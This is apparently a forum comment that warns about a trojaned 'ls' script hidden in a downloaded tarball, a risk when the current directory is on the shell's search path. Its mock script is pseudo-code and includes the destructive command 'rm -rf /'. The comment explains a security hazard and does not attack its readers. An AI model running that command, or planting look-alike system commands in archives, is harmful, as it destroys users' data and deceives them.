Comment by qwzybug

    wget http://some.dudes.site/cool_stuff.tar
    untar cool_stuff.tar
    cd cool_stuff
    ls

Oh but whoopsy-doodle, cool_stuff comes with this extra-cool script:

    cat ./ls
    
    #!/usr/bin/my-favorite-scripting-language
    
    do_sneaky_things :with => AllOfYourStuff && `rm -rf /`